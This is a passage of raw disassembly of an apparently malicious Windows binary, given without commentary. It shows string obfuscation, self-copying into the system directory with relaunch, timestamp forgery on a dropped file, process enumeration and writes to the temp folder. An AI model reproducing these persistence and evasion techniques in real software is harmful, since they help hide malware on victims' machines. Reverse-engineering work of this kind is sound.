pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 54CCh retn 4 sub_13B6800 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6ED0 proc near ; CODE XREF: sub_13AB491j push esi mov esi, ecx lea ecx, [esi+8] call sub_13AB824 mov eax, esi pop esi retn sub_13B6ED0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6EF0 proc near ; CODE XREF: sub_13ABEFFj add ecx, 8 jmp sub_13AB626 sub_13B6EF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6F10 proc near ; CODE XREF: sub_13AC445j var_30 = byte ptr -30h var_24 = byte ptr -24h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 438CE8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_13ABDB5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_13ABBE4 add esi, 4 push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+34h+var_30] mov [esp+34h+var_10], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_18] pop esi mov large fs:0, ecx add esp, 24h retn sub_13B6F10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B6FB0 proc near ; CODE XREF: sub_13ABFA4j var_50 = byte ptr -50h var_45 = byte ptr -45h var_44 = byte ptr -44h var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_1F = byte ptr -1Fh var_10 = byte ptr -10h var_A = byte ptr -0Ah arg_8 = dword ptr 0Ch arg_C = byte ptr 10h arg_D = byte ptr 11h arg_E = byte ptr 12h arg_F = dword ptr 13h arg_18 = byte ptr 1Ch arg_1B = dword ptr 1Fh arg_1F = dword ptr 23h arg_23 = dword ptr 27h arg_27 = dword ptr 2Bh arg_2B = dword ptr 2Fh arg_2724 = dword ptr 2728h arg_2730 = byte ptr 2734h arg_2734 = byte ptr 2738h arg_273C = byte ptr 2740h arg_2740 = byte ptr 2744h arg_2748 = byte ptr 274Ch arg_274C = byte ptr 2750h arg_275C = byte ptr 2760h arg_2760 = byte ptr 2764h arg_2774 = dword ptr 2778h arg_2780 = dword ptr 2784h mov eax, large fs:0 push 0FFFFFFFFh push 438D37h push eax mov eax, 2780h mov large fs:0, esp call near ptr 13E0C60h push esi add ecx, 4 call sub_13AB8D3 mov esi, [esp+10h+arg_2780] push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13B71B2 push ebx lea ecx, [esp+18h+arg_8] call sub_13ABD8D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+1Ch+arg_C] mov [esp+1Ch+arg_2774], ebx mov [esp+1Ch+arg_8], ebx call sub_13AC40E push 1 push offset dword_443600 lea ecx, [esp+24h+var_10] push 2 push ecx mov ecx, esi call sub_13AB5EA mov ecx, eax mov [esp+2Ch+arg_2760], 1 call sub_13ABBE4 push eax lea ecx, [esp+30h+arg_D] call sub_13ABE87 lea ecx, [esp+30h+var_24] mov [esp+30h+arg_275C], bl call sub_13AB626 push 1 push offset dword_443600 lea edx, [esp+38h+var_24] push 3 push edx mov ecx, esi call sub_13AB5EA mov ecx, eax mov [esp+40h+arg_274C], 2 call sub_13ABBE4 push eax lea ecx, [esp+44h+arg_E] call sub_13ABE87 lea ecx, [esp+44h+var_38] mov [esp+44h+arg_2748], bl call sub_13AB626 mov edx, [esp+44h+arg_1B] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+44h+arg_23], eax lea eax, [esp+44h+var_38] mov [esp+44h+arg_27], ecx push edx push eax lea ecx, [esp+4Ch+arg_8+2] mov [esp+4Ch+arg_1F], ebx mov [esp+4Ch+arg_2B], 1 call sub_13AC22E push offset dword_443B14 mov ecx, eax mov [esp+50h+arg_2740], 3 call sub_13AB6EE test eax, eax lea ecx, [esp+50h+var_44] mov [esp+50h+arg_273C], bl setz [esp+50h+var_45] call sub_13AB626 cmp [esp+50h+var_45], bl jz short loc_13B712F mov ecx, [esp+50h+arg_F] lea edx, [esp+50h+var_44] push ecx push edx lea ecx, [esp+5Ah] call sub_13AC22E push offset dword_446F84 mov ecx, eax mov [esp+5Ch+arg_2734], 4 call sub_13ABE87 lea ecx, [esp+5Ch+var_50] mov [esp+5Ch+arg_2730], bl call sub_13AB626 loc_13B712F: ; CODE XREF: sub_13B6FB0+146j push ebx lea ecx, [esp+60h+var_A] call sub_13AB8D3 push eax lea ecx, [esp+64h+var_1F] call sub_13AB8D3 push eax mov eax, [esp+68h+arg_8+3] push eax lea ecx, [esp+6Ch+var_34] call sub_13ABA81 mov ecx, [esp+6Ch+var_38] push eax push ecx call sub_13AC657 add esp, 18h lea edx, [esp+5Ch+arg_18] push eax push offset dword_443B00 push edx call wsprintfA ; wsprintfA mov eax, [esp+68h+arg_F] add esp, 0Ch cmp eax, ebx jnz short loc_13B719D mov eax, [esp+5Ch+arg_8+3] lea ecx, [esp+5Ch+arg_18] push eax push ecx lea ecx, [esp+64h+var_34] call sub_13ABA81 mov edx, [esp+64h+var_38] push eax push edx call sub_13AB923 add esp, 10h loc_13B719D: ; CODE XREF: sub_13B6FB0+1CAj mov eax, [esp+67h] push eax call sub_13AC224 add esp, 4 push ebx call ExitThread ; ExitThread pop ebx loc_13B71B2: ; CODE XREF: sub_13B6FB0+3Aj mov ecx, [esp+5Ch+arg_2724] mov al, 1 pop esi mov large fs:0, ecx add esp, 278Ch retn 4 sub_13B6FB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B7260 proc near ; CODE XREF: sub_13ABD8Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 438D76h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_13AB824 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13B7260 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B72E0 proc near ; CODE XREF: sub_13AC66Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 438DA6h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+2Eh] mov [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13B72E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B7360 proc near ; CODE XREF: sub_13AC657j var_1C = byte ptr -1Ch var_14 = byte ptr -14h var_8 = byte ptr -8 arg_C = byte ptr 10h arg_20 = byte ptr 24h arg_21 = byte ptr 25h arg_128 = byte ptr 12Ch arg_13C = byte ptr 140h arg_238 = byte ptr 23Ch arg_328 = byte ptr 32Ch arg_2A3C = dword ptr 2A40h arg_2A40 = dword ptr 2A44h arg_2A44 = dword ptr 2A48h arg_2A50 = dword ptr 2A54h arg_2A54 = dword ptr 2A58h arg_2A58 = dword ptr 2A5Ch arg_2A5C = dword ptr 2A60h arg_2A64 = dword ptr 2A68h arg_2A68 = dword ptr 2A6Ch mov eax, 2A58h call near ptr 13E0C60h push ebx push ebp push esi mov esi, [esp+0Ch+arg_2A68] push edi mov edi, _snprintf push esi push offset dword_443B28 lea eax, [esp+18h+arg_13C] push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+10h] lea edx, [esp+10h+arg_13C] push ecx push edx call FindFirstFileA ; FindFirstFileA mov ebp, [esp+18h+arg_2A64] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_13B742B loc_13B73B4: ; CODE XREF: sub_13B7360+C9j test [esp+18h+var_8], 10h jz short loc_13B741B cmp [esp+18h+arg_20], 2Eh jnz short loc_13B73CE mov al, [esp+18h+arg_21] test al, al jz short loc_13B741B cmp al, 2Eh jz short loc_13B741B loc_13B73CE: ; CODE XREF: sub_13B7360+60j lea eax, [esp+18h+arg_20] lea ecx, [esp+18h+arg_238] push eax push esi push offset dword_443684 push 104h push ecx call edi ; _snprintf mov eax, [esp+2Ch+arg_2A5C] mov ecx, [esp+2Ch+arg_2A58] lea edx, [esp+2Ch+arg_238] push ebp push edx mov edx, [esp+34h+arg_2A54] push eax mov eax, [esp+38h+arg_2A50] push ecx push edx push eax call sub_13AC657 add esp, 2Ch mov ebp, eax loc_13B741B: ; CODE XREF: sub_13B7360+59j ; sub_13B7360+68j ... lea ecx, [esp+18h+var_8] push ecx push ebx call FindNextFileA ; FindNextFileA test eax, eax jnz short loc_13B73B4 loc_13B742B: ; CODE XREF: sub_13B7360+52j push ebx call FindClose ; FindClose mov edx, [esp+24h+arg_2A50] lea eax, [esp+24h+arg_128] push edx push esi push offset dword_443684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+24h+var_14] lea edx, [esp+24h+arg_128] push ecx push edx call FindFirstFileA ; FindFirstFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_13B74BF loc_13B746C: ; CODE XREF: sub_13B7360+15Dj lea eax, [esp+2Ch+arg_C] lea ecx, [esp+2Ch+arg_328] push eax push esi push offset dword_443B18 push 270Fh push ecx inc ebp call edi ; _snprintf mov edx, [esp+40h+arg_2A44] mov ecx, [esp+40h+arg_2A40] lea eax, [esp+40h+arg_328] push edx mov edx, [esp+44h+arg_2A3C] push eax push ecx push edx call sub_13AB923 add esp, 24h lea eax, [esp+2Ch+var_1C] push eax push ebx call FindNextFileA ; FindNextFileA test eax, eax jnz short loc_13B746C loc_13B74BF: ; CODE XREF: sub_13B7360+10Aj push ebx call FindClose ; FindClose pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 2A58h retn sub_13B7360 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B7540 proc near ; CODE XREF: sub_13AB44Bj var_60 = byte ptr -60h var_54 = byte ptr -54h var_48 = byte ptr -48h var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 438DE0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_13ABDB5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+50h+var_48] mov [esp+50h+var_10], edi call sub_13AB626 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+64h+var_48] push 1 push edx call sub_13ABDB5 add esp, 1Ch push esi mov ecx, eax mov [esp+54h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+5Ch+var_54] mov [esp+5Ch+var_1C], edi call sub_13AB626 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+74h+var_54] push 13h push ecx call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+60h+var_1C], 2 call sub_13ABBE4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+68h+var_60] mov [esp+68h+var_28], edi call sub_13AB626 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+84h+var_48] push eax call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+6Ch+var_28], 3 call sub_13ABBE4 add esi, 0A3h push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+74h+var_54] mov [esp+74h+var_34], edi call sub_13AB626 mov ecx, [esp+74h+var_3C] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13B7540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B76F0 proc near ; CODE XREF: sub_13AB7CAj var_104 = byte ptr -104h var_100 = byte ptr -100h arg_4 = dword ptr 8 sub esp, 104h lea eax, [esp+104h+var_104] push 104h push eax push 0 call GetModuleHandleA ; GetModuleHandleA push eax call GetModuleFileNameA ; GetModuleFileNameA mov eax, ds:dword_4470C0 test eax, eax jz loc_13B7813 mov ecx, ds:dword_4470BC test ecx, ecx jz loc_13B7813 mov ecx, ds:dword_446F88 test ecx, ecx jz loc_13B7813 push 0 push 2 call eax ; dword_4470C0 cmp eax, 0FFFFFFFFh mov ds:dword_4470B8, eax jz loc_13B7813 push ebp push offset dword_446F90 push eax xor ebp, ebp mov ds:dword_446F90, 128h call ds:dword_4470BC test eax, eax jz loc_13B77FC push ebx mov ebx, [esp+108h+arg_4] push esi mov esi, strncmp push edi loc_13B777D: ; CODE XREF: sub_13B76F0+107j mov edi, offset dword_446FB4 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+110h+var_100] repne scasb not ecx dec ecx mov edi, offset dword_446FB4 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+114h+var_100] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446FB4 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_13B77E3 mov edi, offset dword_446FB4 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446FB4 mov ecx, ebx call sub_13ABA81 push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_13B77E4 loc_13B77E3: ; CODE XREF: sub_13B76F0+CBj inc ebp loc_13B77E4: ; CODE XREF: sub_13B76F0+F1j mov eax, ds:dword_4470B8 push offset dword_446F90 push eax call ds:dword_446F88 test eax, eax jnz short loc_13B777D pop edi pop esi pop ebx loc_13B77FC: ; CODE XREF: sub_13B76F0+77j mov ecx, ds:dword_4470B8 push ecx call CloseHandle ; CloseHandle mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_13B7813: ; CODE XREF: sub_13B76F0+26j ; sub_13B76F0+34j ... xor eax, eax add esp, 104h retn sub_13B76F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B7870 proc near ; CODE XREF: sub_13AC391j var_11C = byte ptr -11Ch var_114 = byte ptr -114h var_10C = byte ptr -10Ch var_104 = byte ptr -104h arg_0 = dword ptr 4 sub esp, 11Ch lea eax, [esp+11Ch+var_104] push ebx push esi push edi push 104h push eax call GetWindowsDirectoryA ; GetWindowsDirectoryA mov edi, offset dword_443B30 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+128h+var_104] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, CreateFileA lea eax, [esp+13Ch+var_104] push 80000000h push eax call edi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_13B7936 lea ecx, [esp+128h+var_10C] lea edx, [esp+128h+var_11C] push ecx lea eax, [esp+12Ch+var_114] push edx push eax push esi call GetFileTime ; GetFileTime mov ebx, CloseHandle push esi call ebx ; CloseHandle mov ecx, [esp+128h+arg_0] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_13B7936 lea edx, [esp+128h+var_10C] lea eax, [esp+128h+var_11C] push edx lea ecx, [esp+12Ch+var_114] push eax push ecx push esi call SetFileTime ; SetFileTime push esi call ebx ; CloseHandle loc_13B7936: ; CODE XREF: sub_13B7870+69j ; sub_13B7870+ABj pop edi pop esi pop ebx add esp, 11Ch retn 4 sub_13B7870 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B7990 proc near ; CODE XREF: sub_13ABF59j var_194 = byte ptr -194h var_184 = byte ptr -184h var_17C = byte ptr -17Ch var_178 = byte ptr -178h var_174 = byte ptr -174h var_16C = byte ptr -16Ch var_164 = byte ptr -164h var_15C = byte ptr -15Ch var_12C = dword ptr -12Ch var_110 = byte ptr -110h var_FC = word ptr -0FCh var_E8 = byte ptr -0E8h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_10 = dword ptr 14h push 0FFFFFFFFh push 438E58h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_13AB824 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_13AC05D push eax call GetSystemDirectoryA ; GetSystemDirectoryA lea ecx, [esp+198h+var_15C] call sub_13ABBE4 push eax lea ecx, [esi+4] call sub_13AB9D7 lea ecx, [esp+19Ch+var_178] call sub_13AB824 mov ebx, 1 push 104h push 104h lea ecx, [esp+1A4h+var_178] mov [esp+1A4h+arg_4], bl call sub_13AC05D push eax push 0 call GetModuleHandleA ; GetModuleHandleA push eax call GetModuleFileNameA ; GetModuleFileNameA push offset dword_443BB0 call LoadLibraryA ; LoadLibraryA mov esi, eax test esi, esi jz short loc_13B7A81 mov edi, GetProcAddress push offset dword_443B94 push esi call edi ; GetProcAddress push offset dword_443B74 push esi mov ds:dword_4470C4, eax call edi ; GetProcAddress push offset dword_443B60 push esi mov ds:dword_4470C0, eax call edi ; GetProcAddress push offset dword_443B50 push esi mov ds:dword_4470BC, eax call edi ; GetProcAddress mov ds:dword_446F88, eax mov eax, ds:dword_4470C4 test eax, eax jz short loc_13B7A81 push ebx push 0 call eax ; dword_4470C4 loc_13B7A81: ; CODE XREF: sub_13B7990+A7j ; sub_13B7990+EAj mov esi, [esp+198h+arg_10] push 0 mov ecx, esi call sub_13ABBE4 push eax lea ecx, [esp+1A0h+var_174] call sub_13AC517 test eax, eax jnz short loc_13B7AB8 mov al, ds:byte_4471AF test al, al jz short loc_13B7AB8 mov ecx, esi call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 loc_13B7AB8: ; CODE XREF: sub_13B7990+10Dj ; sub_13B7990+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D0h+var_194] push 17h push eax call sub_13ABDB5 add esp, 38h mov ecx, eax mov [esp+1A0h+arg_0], 2 call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+1A0h+var_194] mov [esp+1A0h+arg_0], bl call sub_13AB626 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+1CCh+var_194] push 4 push ecx call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+1A0h+arg_0], 3 call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+1A0h+var_194] mov [esp+1A0h+arg_0], bl call sub_13AB626 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+1C4h+var_194] push 14h push edx call sub_13ABDB5 add esp, 2Ch mov ecx, eax mov [esp+1A0h+arg_0], 4 call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+1A0h+var_194] mov [esp+1A0h+arg_0], bl call sub_13AB626 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+1CCh+var_194] push 0Dh push eax call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+1A0h+arg_0], 5 call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+1A0h+var_194] mov [esp+1A0h+arg_0], bl call sub_13AB626 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+1CCh+var_194] push 10h push ecx call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+1A0h+arg_0], 6 call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+1A0h+var_194] mov [esp+1A0h+arg_0], bl call sub_13AB626 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+1CCh+var_194] push 0Dh push edx call sub_13ABDB5 add esp, 34h mov ecx, eax mov [esp+1A0h+arg_0], 7 call sub_13ABBE4 push eax call sub_13AB9FA add esp, 4 lea ecx, [esp+1A0h+var_194] mov [esp+1A0h+arg_0], bl call sub_13AB626 lea eax, [esp+1A0h+var_164] push 0 push eax lea ecx, [esp+1A8h+var_17C] call sub_13ABC07 test eax, eax jnz loc_13B7DB0 push ebp mov ecx, esi call sub_13ABBE4 push eax push 5Ch lea ecx, [esp+1B4h+var_16C] call sub_13ABBE4 push eax lea ecx, [esp+1B8h+var_110] push offset dword_443B48 push ecx call wsprintfA ; wsprintfA mov edi, GetTickCount add esp, 14h call edi ; GetTickCount lea edx, [esp+184h+var_E8] push 0 push edx lea ecx, [esp+18Ch+var_15C] mov ebp, eax call sub_13ABA81 mov esi, CopyFileA push eax call esi ; CopyFileA test eax, eax jnz short loc_13B7D1F loc_13B7CEF: ; CODE XREF: sub_13B7990+38Dj call edi ; GetTickCount sub eax, ebp cmp eax, 61A8h jnb short loc_13B7D1F push 7D0h call Sleep ; Sleep lea eax, [esp+184h+var_E8] push 0 push eax lea ecx, [esp+18Ch+var_15C] call sub_13ABA81 push eax call esi ; CopyFileA test eax, eax jz short loc_13B7CEF loc_13B7D1F: ; CODE XREF: sub_13B7990+35Dj ; sub_13B7990+368j mov al, ds:byte_44780B pop ebp test al, al jz short loc_13B7D62 mov esi, strncat push 104h lea ecx, [esp+184h+var_E8] push offset dword_443B40 push ecx call esi ; strncat add esp, 0Ch lea ecx, [esp+180h+var_15C] push 104h call sub_13ABBE4 lea edx, [esp+184h+var_E8] push eax push edx call esi ; strncat add esp, 0Ch loc_13B7D62: ; CODE XREF: sub_13B7990+397j mov ecx, 11h xor eax, eax lea edi, [esp+180h+var_12C] lea edx, [esp+180h+var_E8] rep stosd mov [esp+180h+var_FC], ax lea eax, [esp+180h+var_174] lea ecx, [esp+180h+var_12C] push eax push ecx push 0 push 0 push 28h push ebx push 0 push 0 push edx push 0 mov [esp+1A8h+var_12C], 44h call CreateProcessA ; CreateProcessA test eax, eax jz short loc_13B7DB0 push 0 call exit ; exit loc_13B7DB0: ; CODE XREF: sub_13B7990+304j ; sub_13B7990+416j lea ecx, [esp+1A8h+var_184] mov byte ptr [esp+1A8h+var_4], 0 call sub_13AB626 lea ecx, [esp+1A8h+var_16C] mov [esp+1A8h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+1A8h+var_C] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 19Ch retn 4 sub_13B7990 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B7F20 proc near ; CODE XREF: sub_13AB595j mov al, ds:byte_4471B1 test al, al jz short loc_13B7F34 push offset word_4471B2 call DeleteFileA ; DeleteFileA loc_13B7F34: ; CODE XREF: sub_13B7F20+7j mov al, 1 retn sub_13B7F20 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B7F50 proc near ; CODE XREF: sub_13AC25Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 438F0Fh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 call GetModuleHandleA ; GetModuleHandleA push eax call GetModuleFileNameA ; GetModuleFileNameA lea ecx, [esp+6D4h+var_318] push ecx push 104h call GetTempPathA ; GetTempPathA push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_13ABDB5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_13ABBE4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx call wsprintfA ; wsprintfA add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_13AB626 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call CreateFileA ; CreateFileA mov esi, eax test esi, esi jbe loc_13B84B1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_13AB824 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_13ABDB5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_13ABDB5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_13ABDB5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_13ABDB5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_13ABDB5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_13ABDB5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_13ABDB5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_13ABDB5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_13ABDB5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_13ABDB5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_13ABDB5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_13ABBE4 push eax mov ecx, ebp call sub_13ABBE4 push eax mov ecx, 